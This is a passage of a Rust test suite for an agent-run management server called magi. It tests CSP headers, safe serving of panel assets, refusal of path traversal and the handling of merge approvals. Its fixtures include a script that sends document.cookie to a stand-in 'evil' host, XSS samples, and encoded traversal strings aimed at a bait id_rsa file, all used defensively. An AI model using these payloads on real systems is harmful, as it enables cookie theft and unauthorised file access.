12688    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12689        // The stand-in dies instantly, so a restarted one can record its own
12690        // failure before the start's response is read. The second attempt
12691        // therefore fails with a different message, to tell a stale error
12692        // from a fresh one.
12693        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12694        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12695        Box::pin(async move {
12696            Err(anyhow::anyhow!(if first {
12697                "publish the daemon status file: read-only file system"
12698            } else {
12699                "the restarted stand-in failed as well"
12700            }))
12701        })
12702    }
12703
12704    /// The loop view once `want` accepts it.
12705    ///
12706    /// Polled rather than asserted straight after the POST because stopping
12707    /// is deliberately not instant - that is the contract - and rather than
12708    /// slept through because a fixed wait is either flaky or slow.
12709    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12710    /// finite, so a genuine hang fails the test instead of hanging the
12711    /// suite.
12712    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12713        for _ in 0..SETTLE_STEPS {
12714            let view = fx.get("/api/loop").await.json();
12715            if want(&view) {
12716                return view;
12717            }
12718            tokio::time::sleep(Duration::from_millis(10)).await;
12719        }
12720        panic!(
12721            "the loop never settled: {}",
12722            fx.get("/api/loop").await.json()
12723        );
12724    }
12725
12726    /// File an open question directly in the store the server reads.
12727    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12728        let store = fx.questions();
12729        let mut q = Question::new(
12730            "20260902-000000-beef".to_owned(),
12731            "implement".to_owned(),
12732            "impl-A".to_owned(),
12733            summary.to_owned(),
12734            "because it matters".to_owned(),
12735            choices.iter().map(|c| (*c).to_owned()).collect(),
12736        );
12737        store.put(&mut q).expect("put question");
12738        q.id
12739    }
12740
12741    /// A question with a panel the server can serve, plus the named assets.
12742    ///
12743    /// Written through `Questions::put_panel` rather than by laying out the
12744    /// directory here, so these tests exercise the same on-disk shape the
12745    /// agents produce and cannot pass against a layout only the tests know.
12746    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12747        let store = fx.questions();
12748        let mut q = Question::new(
12749            "20260902-000000-beef".to_owned(),
12750            "land".to_owned(),
12751            "fix".to_owned(),
12752            "Merge this?".to_owned(),
12753            "the diff is in the panel".to_owned(),
12754            vec!["merge".to_owned(), "hold".to_owned()],
12755        );
12756        // Staged outside the questions root, because `put_panel` copies from
12757        // wherever the agent left its files.
12758        let staging = fx.home.path().join("staging");
12759        std::fs::create_dir_all(&staging).expect("staging dir");
12760        let sources: Vec<PathBuf> = assets
12761            .iter()
12762            .map(|(name, bytes)| {
12763                let path = staging.join(name);
12764                std::fs::write(&path, bytes).expect("write staged asset");
12765                path
12766            })
12767            .collect();
12768        store
12769            .put_panel(&mut q, html, &sources)
12770            .expect("write the panel");
12771        store.put(&mut q).expect("put question");
12772        q.id
12773    }
12774
12775    /// A talk on disk, without talking to a model.
12776    ///
12777    /// Written as JSON straight into the store the server reads, because the
12778    /// only constructor `talk::begin` offers takes no turn but still requires
12779    /// a real caller-visible flow. The one thing this cannot make up is the
12780    /// seat, so it is built with the real `SeatState::new` and serialized -
12781    /// the alternative, hand-writing that object, would make these tests fail
12782    /// the day the seat gains a field.
12783    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12784        seed_talk_at(&fx.talks(), id, status)
12785    }
12786
12787    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12788        std::fs::create_dir_all(store.root()).expect("talks dir");
12789        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12790            .expect("serialize a seat");
12791        let body = serde_json::json!({
12792            "schema": 1,
12793            "id": id,
12794            "repo": "/repo/magi",
12795            "agent": "mock",
12796            "status": status,
12797            "turns": [],
12798            "created_at": Timestamp::now().to_string(),
12799            "updated_at": Timestamp::now().to_string(),
12800            "seat": seat,
12801        });
12802        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12803        store.get(id).expect("the seeded talk has to be readable");
12804        id.to_owned()
12805    }
12806
12807    #[tokio::test]
12808    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12809        let fx = Fixture::start().await;
12810        let id = panel(
12811            &fx,
12812            "<h1>Merge?</h1><img src=\"diff.svg\">",
12813            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12814        );
12815
12816        for path in [
12817            format!("/api/questions/{id}/panel"),
12818            format!("/api/questions/{id}/asset/diff.svg"),
12819        ] {
12820            let res = fx.get(&path).await;
12821            assert_eq!(res.status, 200, "{path}: {}", res.body);
12822            // The whole string, not a substring. A weakened directive - an
12823            // `img-src *` that lets a panel beacon out to a remote host, a
12824            // `script-src` anything, a missing `form-action` that lets it post
12825            // the owner's decision to a third party - has to fail here, and a
12826            // `contains` assertion would let every one of those through.
12827            assert_eq!(
12828                res.header("content-security-policy"),
12829                Some(
12830                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12831                     font-src data:; base-uri 'none'; form-action 'none'; \
12832                     frame-ancestors 'self'"
12833                ),
12834                "{path} is the only thing between a hostile panel and the tailnet"
12835            );
12836            assert_eq!(
12837                res.header("x-content-type-options"),
12838                Some("nosniff"),
12839                "{path}: a browser must not re-decide the type we sent"
12840            );
12841            assert_eq!(
12842                res.header("referrer-policy"),
12843                Some("no-referrer"),
12844                "{path}: a panel must not leak the question id off the machine"
12845            );
12846
12847            // The front end mounts the frame only after a `HEAD` says the
12848            // panel is there, so `HEAD` has to answer with the same status and
12849            // the same policy as `GET` - a preflight that came back without
12850            // the CSP would mean a frame mounted on an unverified promise.
12851            let pre = fx.head(&path).await;
12852            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12853            assert_eq!(
12854                pre.header("content-security-policy"),
12855                res.header("content-security-policy"),
12856                "{path}: the preflight carries the same policy"
12857            );
12858            assert_eq!(
12859                pre.header("content-type"),
12860                res.header("content-type"),
12861                "{path}: the preflight carries the same type"
12862            );
12863        }
12864    }
12865
12866    #[tokio::test]
12867    async fn a_panel_reaches_the_browser_byte_for_byte() {
12868        let fx = Fixture::start().await;
12869        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12870        // tag, an entity, and a multi-byte character. The sandbox is what makes
12871        // this safe, so nothing here may be rewritten on the way out - a
12872        // rewritten diff is a diff the owner cannot trust.
12873        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12874        let id = panel(&fx, html, &[]);
12875
12876        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12877
12878        assert_eq!(res.status, 200);
12879        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12880        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12881        assert_eq!(
12882            res.header("content-disposition"),
12883            None,
12884            "the panel itself is rendered in the frame, not downloaded"
12885        );
12886    }
12887
12888    #[tokio::test]
12889    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12890        let fx = Fixture::start().await;
12891        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12892        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12893        let id = panel(
12894            &fx,
12895            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12896            &[("diff.svg", svg), ("shot.png", png)],
12897        );
12898
12899        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12900        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12901
12902        assert_eq!(as_svg.status, 200);
12903        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12904        // An SVG is XML that may carry script. Inside the panel it is an
12905        // `<img src>` and the script cannot run; opened at the top level it
12906        // would be a document on magi's own origin, so the browser is told to
12907        // download it instead of rendering it.
12908        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12909
12910        assert_eq!(as_png.status, 200);
12911        assert_eq!(as_png.header("content-type"), Some("image/png"));
12912        assert_eq!(
12913            as_png.header("content-disposition"),
12914            None,
12915            "a raster image has no execution surface, so tapping it still shows it"
12916        );
12917        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12918    }
12919
12920    #[tokio::test]
12921    async fn an_html_asset_is_never_served_as_html() {
12922        let fx = Fixture::start().await;
12923        let id = panel(
12924            &fx,
12925            "<p>see the notes</p>",
12926            &[
12927                (
12928                    "notes.html",
12929                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12930                ),
12931                ("hook.js", b"fetch('http://evil/')"),
12932                ("data.json", b"{}"),
12933                ("HEADLINE.TXT", b"plain"),
12934            ],
12935        );
12936
12937        for name in ["notes.html", "hook.js", "data.json"] {
12938            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12939            assert_eq!(res.status, 200, "{name}: {}", res.body);
12940            // Serving this as text/html would be a way to reach agent markup
12941            // at the top level of the operator's browser, outside the frame's
12942            // sandbox and outside its CSP - which is the whole thing the panel
12943            // design exists to prevent. Unlisted types are downloads.
12944            assert_eq!(
12945                res.header("content-type"),
12946                Some("application/octet-stream"),
12947                "{name} must not be a type the browser will execute or render"
12948            );
12949        }
12950        // The whitelist is matched case-insensitively, so an agent shouting the
12951        // extension still gets a readable file rather than a download.
12952        let txt = fx
12953            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12954            .await;
12955        assert_eq!(
12956            txt.header("content-type"),
12957            Some("text/plain; charset=utf-8")
12958        );
12959    }
12960
12961    #[tokio::test]
12962    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12963        let fx = Fixture::start().await;
12964        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12965        // Something outside the panel directory that a traversal would reach if
12966        // one got through, so a passing test is not merely "the file was
12967        // missing anyway".
12968        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12969
12970        // Decoded before this server's handler sees them: axum percent-decodes
12971        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12972        // string with a NUL in it. All three look like ordinary single-segment
12973        // filenames to the router, so the router passes them through and
12974        // `valid_asset_name` is what refuses them - for the literal `..`, and
12975        // for `/`, `\` and NUL not being in the permitted character set.
12976        for encoded in [
12977            "%2e%2e%2fid_rsa",
12978            "..%2fid_rsa",
12979            "..%5cid_rsa",
12980            "%2e%2e%5cid_rsa",
12981            "diff%00.svg",
12982            "..",
12983            ".hidden",
12984            "%2e%2e%2f%2e%2e%2fid_rsa",
12985        ] {
12986            let res = fx
12987                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12988                .await;
12989            assert_eq!(
12990                res.status, 400,
12991                "`{encoded}` has to be refused by name, not looked up: {}",
12992                res.body
12993            );
12994            assert!(res.json()["error"].is_string(), "{}", res.body);
12995        }
12996
12997        // Not decoded, and never this handler's problem: a real slash makes the
12998        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12999        // so axum's router has no route to match and answers before any code
13000        // here runs. Asserted so that a future route with a wildcard segment
13001        // cannot quietly open this door.
13002        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13003            let res = fx
13004                .get(&format!("/api/questions/{id}/asset/{literal}"))
13005                .await;
13006            assert_eq!(
13007                res.status, 404,
13008                "`{literal}` must not match the asset route at all: {}",
13009                res.body
13010            );
13011        }
13012    }
13013
13014    #[tokio::test]
13015    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13016        let fx = Fixture::start().await;
13017        let plain = ask(&fx, "Which backend?", &["SQLite"]);
13018        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13019
13020        // A question nobody wrote a panel for. The client preflights with HEAD
13021        // and cannot see inside a sandboxed frame, so this must be a status and
13022        // not an empty page.
13023        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13024        assert_eq!(none.status, 404, "{}", none.body);
13025        assert!(none.json()["error"].is_string(), "{}", none.body);
13026        assert_eq!(
13027            fx.head(&format!("/api/questions/{plain}/panel"))
13028                .await
13029                .status,
13030            404,
13031            "the preflight is the only way the client can learn this"
13032        );
13033
13034        // A name that is perfectly legal and simply is not there.
13035        let missing = fx
13036            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13037            .await;
13038        assert_eq!(missing.status, 404, "{}", missing.body);
13039        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13040
13041        // A question that does not exist at all, on both routes.
13042        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13043        assert_eq!(
13044            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13045            404
13046        );
13047    }
13048
13049    #[tokio::test]
13050    async fn a_run_with_an_open_question_reads_as_waiting() {
13051        let fx = Fixture::start().await;
13052        let run = "20260902-000000-beef".to_owned();
13053        write_run(&fx.runs(), &run, RunStatus::Implementing);
13054
13055        let before = fx.get("/api/runs").await.json();
13056        assert_eq!(before[0]["waiting"], false, "{before}");
13057
13058        let store = fx.questions();
13059        let mut q = Question::new(
13060            run.clone(),
13061            "implement".to_owned(),
13062            "impl-A".to_owned(),
13063            "Which backend?".to_owned(),
13064            String::new(),
13065            vec!["SQLite".to_owned()],
13066        );
13067        store.put(&mut q).expect("put");
13068
13069        let during = fx.get("/api/runs").await.json();
13070        assert_eq!(during[0]["waiting"], true, "{during}");
13071
13072        // Answered: the run is moving again, and the flag has to follow without
13073        // anything having rewritten run.json.
13074        q.answer(Answer::Choice("SQLite".to_owned()))
13075            .expect("answer");
13076        store.put(&mut q).expect("put");
13077        let after = fx.get("/api/runs").await.json();
13078        assert_eq!(after[0]["waiting"], false, "{after}");
13079    }
13080
13081    #[tokio::test]
13082    async fn an_open_question_is_listed_and_counted_by_health() {
13083        let fx = Fixture::start().await;
13084        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13085
13086        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13087        let listed = fx.get("/api/questions").await.json();
13088        assert_eq!(listed.as_array().expect("array").len(), 1);
13089        assert_eq!(listed[0]["id"], id);
13090        assert_eq!(listed[0]["status"], "open");
13091        assert_eq!(listed[0]["choices"][1], "Redis");
13092        // The count is what makes the phone's indicator honest: it is the one
13093        // number meaning nothing will move until a human acts.
13094        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13095    }
13096
13097    fn obsolete_approval_state() -> RunState {
13098        let mut state = crate::land::tests::repair_state(true, true);
13099        state.pr = Some(crate::run::PrRecord {
13100            url: "https://github.com/example/repo/pull/42".into(),
13101            number: 42,
13102            state: "open".into(),
13103            checks: "green".into(),
13104            round: 1,
13105            rounds: 4,
13106            red_at_merge: Vec::new(),
13107        });
13108        state
13109    }
13110
13111    #[tokio::test]
13112    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13113        for owner in ["missing", "current", "completed", "later"] {
13114            let fx = Fixture {
13115                home: TempDir::new().unwrap(),
13116                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13117            };
13118            let mut state = obsolete_approval_state();
13119            state.status = RunStatus::Landing;
13120            state.parked = true;
13121            state.driver_exited = true;
13122            let mut q = Question::new(
13123                state.id.clone(),
13124                crate::land::APPROVAL_NODE.into(),
13125                "land".into(),
13126                "Old approval".into(),
13127                "Original evidence".into(),
13128                vec!["merge".into(), "hold".into()],
13129            );
13130            state.land_approval = Some(crate::run::LandApproval {
13131                question: q.id.clone(),
13132                head: "head".into(),
13133            });
13134            state.save_under(fx.home.path()).unwrap();
13135            let stale = state.clone();
13136            fx.questions().put(&mut q).unwrap();
13137            let mut task = Task::new(
13138                "Owner".into(),
13139                "Original instruction".into(),
13140                state.repo.clone(),
13141                Source::Human,
13142            );
13143            task.runs.push(state.id.clone());
13144            task.status = if owner == "completed" {
13145                TaskStatus::Done
13146            } else {
13147                TaskStatus::Parked
13148            };
13149            if owner == "later" {
13150                task.runs.push("later-run".into());
13151            }
13152            if owner != "missing" {
13153                fx.queue().put(&mut task).unwrap();
13154            }
13155            let ui = Arc::new(Ui::new(
13156                fx.queue(),
13157                fx.questions(),
13158                fx.talks(),
13159                fx.runs(),
13160                fx.home.path().into(),
13161                state.repo.clone(),
13162            ));
13163            let response = question_answer(
13164                State(ui),
13165                Path(q.id.clone()),
13166                Ok(Json(NewAnswer {
13167                    choice: Some(crate::merge_decision::DISMISS.into()),
13168                    text: None,
13169                    ..Default::default()
13170                })),
13171            )
13172            .await
13173            .unwrap();
13174            assert_eq!(
13175                response.0.question.resolution().as_deref(),
13176                Some(crate::merge_decision::DISMISS)
13177            );
13178            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13179            assert_eq!(disk.status, RunStatus::Superseded);
13180            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13181            assert!(!crate::merge_decision::resumable_hold(&disk));
13182            assert_eq!(
13183                serde_json::to_value(&disk.pr).unwrap(),
13184                serde_json::to_value(&stale.pr).unwrap()
13185            );
13186            assert_eq!(fx.questions().count_open(), 0);
13187            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13188            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13189            if owner == "missing" {
13190                assert!(fx.queue().list().is_empty());
13191            } else {
13192                let after = fx.queue().get(&task.id).unwrap();
13193                assert_eq!(
13194                    after.status,
13195                    if owner == "current" {
13196                        TaskStatus::Done
13197                    } else {
13198                        task.status
13199                    }
13200                );
13201                assert_eq!(after.runs, task.runs);
13202                assert_eq!(after.instruction, task.instruction);
13203                assert_eq!(after.action_applied(&q.id), owner == "current");
13204            }
13205        }
13206    }
13207
13208    #[tokio::test]
13209    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13210        let fx = Fixture::start().await;
13211        let mut state = obsolete_approval_state();
13212        state.status = RunStatus::Landing;
13213        state.parked = true;
13214        state.driver_exited = true;
13215        let mut q = Question::new(
13216            state.id.clone(),
13217            crate::land::APPROVAL_NODE.into(),
13218            "land".into(),
13219            "Superseded PR approval".into(),
13220            "Original review evidence".into(),
13221            vec!["merge".into(), "hold".into()],
13222        );
13223        state.land_approval = Some(crate::run::LandApproval {
13224            question: q.id.clone(),
13225            head: "old-reviewed-head".into(),
13226        });
13227        // The old persisted PR may still say open even when a separate change
13228        // already landed. Dismissal must not use that snapshot to close it.
13229        state.save_under(fx.home.path()).unwrap();
13230        let stale_driver = state.clone();
13231        fx.questions().put(&mut q).unwrap();
13232        let path = fx
13233            .home
13234            .path()
13235            .join("questions")
13236            .join(format!("{}.json", q.id));
13237        let mut legacy = serde_json::to_value(&q).unwrap();
13238        legacy["schema"] = 9.into();
13239        legacy.as_object_mut().unwrap().remove("merge_target");
13240        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13241
13242        // POST without GET tests legacy upgrade and validation at the actual
13243        // entry point, rather than constructing a modern card in the test.
13244        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13245        let answer_path = format!("/api/questions/{}/answer", q.id);
13246        let res = fx.post(&answer_path, Some(&body)).await;
13247        assert_eq!(res.status, 200, "{}", res.body);
13248        let disk = fx.questions().get(&q.id).unwrap();
13249        assert_eq!(
13250            disk.resolution().as_deref(),
13251            Some(crate::merge_decision::DISMISS)
13252        );
13253        assert!(disk.detail.starts_with("Original review evidence"));
13254        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13255        assert_eq!(retired.status, RunStatus::Superseded);
13256        assert_eq!(
13257            serde_json::to_value(&retired.pr).unwrap(),
13258            serde_json::to_value(&state.pr).unwrap()
13259        );
13260        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13261        assert!(!crate::merge_decision::resumable_hold(&retired));
13262        assert!(fx.queue().list().is_empty());
13263        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13264        // A restarted server re-reads the persisted pending list.
13265        let addr = Fixture::serve(
13266            fx.home.path(),
13267            PathBuf::from("/repo/magi"),
13268            launch_idle,
13269            None,
13270        )
13271        .await;
13272        let reconnected = Fixture {
13273            home: fx.home,
13274            addr,
13275        };
13276        let listed = reconnected.get("/api/questions").await.json();
13277        assert!(
13278            listed
13279                .as_array()
13280                .unwrap()
13281                .iter()
13282                .all(|q| q["status"] != "open")
13283        );
13284        assert_eq!(listed[0]["id"], q.id, "history remains available");
13285        assert_eq!(
13286            reconnected.get("/api/health").await.json()["questions_open"],
13287            0
13288        );
13289        assert_eq!(
13290            reconnected
13291                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13292                .await
13293                .status,
13294            409
13295        );
13296        // A late waiter cannot turn the old answer into a new decision.
13297        assert!(
13298            reconnected
13299                .questions()
13300                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13301                .is_err()
13302        );
13303        // The same guard used by claims, repair and publication rejects a
13304        // saved in-memory driver as well as the persisted terminal record.
13305        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13306    }
13307
13308    #[tokio::test]
13309    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13310        let fx = Fixture::start().await;
13311        let mut state = obsolete_approval_state();
13312        state.status = RunStatus::Landing;
13313        state.driver_exited = true;
13314        let mut q = Question::new(
13315            state.id.clone(),
13316            crate::land::APPROVAL_NODE.into(),
13317            "land".into(),
13318            "Obsolete approval".into(),
13319            String::new(),
13320            vec!["merge".into(), "hold".into()],
13321        );
13322        state.land_approval = Some(crate::run::LandApproval {
13323            question: q.id.clone(),
13324            head: "head".into(),
13325        });
13326        state.save_under(fx.home.path()).unwrap();
13327        fx.questions().put(&mut q).unwrap();
13328        let mut task = Task::new(
13329            "Owner".into(),
13330            "Original instruction".into(),
13331            state.repo.clone(),
13332            Source::Human,
13333        );
13334        task.runs = vec![state.id.clone(), "later-run".into()];
13335        fx.queue().put(&mut task).unwrap();
13336        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13337        let claim = fx.queue().claim(&task.id).unwrap();
13338        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13339        let path = format!("/api/questions/{}/answer", q.id);
13340        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13341        assert!(fx.questions().get(&q.id).unwrap().status.open());
13342        drop(claim);
13343        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13344        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13345        assert!(fx.questions().get(&q.id).unwrap().status.open());
13346        drop(publication);
13347        // Unknown liveness and armed auto-merge both fail without settling.
13348        state.driver_exited = false;
13349        state.driver_pid = None;
13350        state.driver_claimed = None; // No durable proof of an unstarted execution.
13351        state.save_under(fx.home.path()).unwrap();
13352        assert_eq!(
13353            state.liveness_under(fx.home.path(), false),
13354            crate::run::Liveness::Unknown
13355        );
13356
13357        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13358        state.driver_exited = true;
13359        state.land_armed_head = Some("head".into());
13360        state.save_under(fx.home.path()).unwrap();
13361        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13362        state.land_armed_head = None;
13363        state.save_under(fx.home.path()).unwrap();
13364        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13365        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13366        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13367    }
13368
13369    #[tokio::test]
13370    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13371        let fx = Fixture::start().await;
13372        let mut state = obsolete_approval_state();
13373        state.status = RunStatus::Landing;
13374        state.driver_exited = true;
13375        let mut q = Question::new(
13376            state.id.clone(),
13377            crate::land::APPROVAL_NODE.into(),
13378            "land".into(),
13379            "Obsolete approval".into(),
13380            String::new(),
13381            vec!["merge".into(), "hold".into()],
13382        );
13383        state.land_approval = Some(crate::run::LandApproval {
13384            question: q.id.clone(),
13385            head: "head".into(),
13386        });
13387        state.save_under(fx.home.path()).unwrap();
13388        fx.questions().put(&mut q).unwrap();
13389        let mut task = Task::new(
13390            "Owner".into(),
13391            "Original instruction".into(),
13392            state.repo.clone(),
13393            Source::Human,
13394        );
13395        task.runs.push(state.id.clone());
13396        task.status = TaskStatus::Parked;
13397        fx.queue().put(&mut task).unwrap();
13398        // Model a crash after the run stop was persisted but before the queue
13399        // and answered question were flushed. Retrying must finish, not resume.
13400        state.merge_decision = Some(crate::merge_decision::Decision {
13401            question: q.id.clone(),
13402            target: crate::merge_decision::Target {
13403                pr: state.pr.as_ref().unwrap().url.clone(),
13404                head: "head".into(),
13405                language: "ja".into(),
13406            },
13407            choice: crate::merge_decision::DISMISS.into(),
13408            closed: false,
13409            replacement_run: None,
13410            replacement_pr: None,
13411        });
13412        state.status = RunStatus::Superseded;
13413        state.save_under(fx.home.path()).unwrap();
13414        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13415        let path = format!("/api/questions/{}/answer", q.id);
13416        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13417        let done = fx.queue().get(&task.id).unwrap();
13418        assert_eq!(done.status, TaskStatus::Done);
13419        assert_eq!(done.runs, task.runs);
13420        assert_eq!(done.instruction, task.instruction);
13421        assert!(done.action_applied(&q.id));
13422        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13423        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13424        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13425    }
13426
13427    #[tokio::test]
13428    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13429        let home = TempDir::new().unwrap();
13430        let ui = Arc::new(Ui::new(
13431            Queue::at(home.path().join("queue")),
13432            Questions::at(home.path().join("questions")),
13433            Talks::at(home.path().join("talks")),
13434            home.path().join("runs"),
13435            home.path().to_owned(),
13436            home.path().to_owned(),
13437        ));
13438        let talks = &ui.talks;
13439        let chat =
13440            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13441        let mut q = Question::new(
13442            "run".into(),
13443            crate::land::APPROVAL_NODE.into(),
13444            "land".into(),
13445            "Merge?".into(),
13446            String::new(),
13447            vec!["merge".into(), "hold".into()],
13448        );
13449        q.routed_task = Some("task".into());
13450        q.routed_chat = Some(chat.id.clone());
13451        q.merge_target = Some(crate::merge_decision::Target {
13452            pr: "https://example.test/pull/1".into(),
13453            head: "head-a".into(),
13454            language: "en".into(),
13455        });
13456        ui.questions.put(&mut q).unwrap();
13457        let send = |body| {
13458            question_answer(
13459                State(ui.clone()),
13460                Path(q.id.clone()),
13461                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13462            )
13463        };
13464        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13465        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13466        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13467        assert!(send(wrong_chat).await.is_err());
13468        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13469        assert!(send(stale).await.is_err());
13470        assert!(ui.questions.get(&q.id).unwrap().status.open());
13471        assert!(send(button.clone()).await.is_ok());
13472        assert_eq!(
13473            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13474            Some("merge")
13475        );
13476        assert!(send(button).await.is_err());
13477    }
13478
13479    #[tokio::test]
13480    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13481        let home = TempDir::new().unwrap();
13482        let ui = Arc::new(Ui::new(
13483            Queue::at(home.path().join("queue")),
13484            Questions::at(home.path().join("questions")),
13485            Talks::at(home.path().join("talks")),
13486            home.path().join("runs"),
13487            home.path().to_owned(),
13488            home.path().to_owned(),
13489        ));
13490        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13491            let mut q = Question::new(
13492                "run".into(),
13493                crate::land::APPROVAL_NODE.into(),
13494                "land".into(),
13495                "Merge?".into(),
13496                String::new(),
13497                vec!["merge".into(), choice.into()],
13498            );
13499            q.routed_task = Some("task".into());
13500            q.merge_target = Some(crate::merge_decision::Target {
13501                pr: "https://example.test/pull/1".into(),
13502                head: "head-a".into(),
13503                language: "en".into(),
13504            });
13505            ui.questions.put(&mut q).unwrap();
13506            let answer = |c: &str| {
13507                question_answer(
13508                    State(ui.clone()),
13509                    Path(q.id.clone()),
13510                    Ok(Json(
13511                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13512                            .unwrap(),
13513                    )),
13514                )
13515            };
13516            let _ = answer(choice).await.unwrap();
13517            assert_eq!(
13518                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13519                Some(choice)
13520            );
13521        }
13522    }
13523
13524    #[tokio::test]
13525    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13526        let home = TempDir::new().unwrap();
13527        let ui = Arc::new(Ui::new(
13528            Queue::at(home.path().join("queue")),
13529            Questions::at(home.path().join("questions")),
13530            Talks::at(home.path().join("talks")),
13531            home.path().join("runs"),
13532            home.path().to_owned(),
13533            home.path().to_owned(),
13534        ));
13535        let mut q = Question::new(
13536            "run".into(),
13537            crate::github_text::ASK_NODE.into(),
13538            "posting-gate".into(),
13539            "Post?".into(),
13540            String::new(),
13541            vec!["use fallback".into()],
13542        );
13543        q.routed_task = Some("task".into());
13544        ui.questions.put(&mut q).unwrap();
13545        let sent = question_answer(
13546            State(ui.clone()),
13547            Path(q.id.clone()),
13548            Ok(Json(
13549                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13550                    .unwrap(),
13551            )),
13552        )
13553        .await;
13554        let _ = sent.unwrap();
13555        assert_eq!(
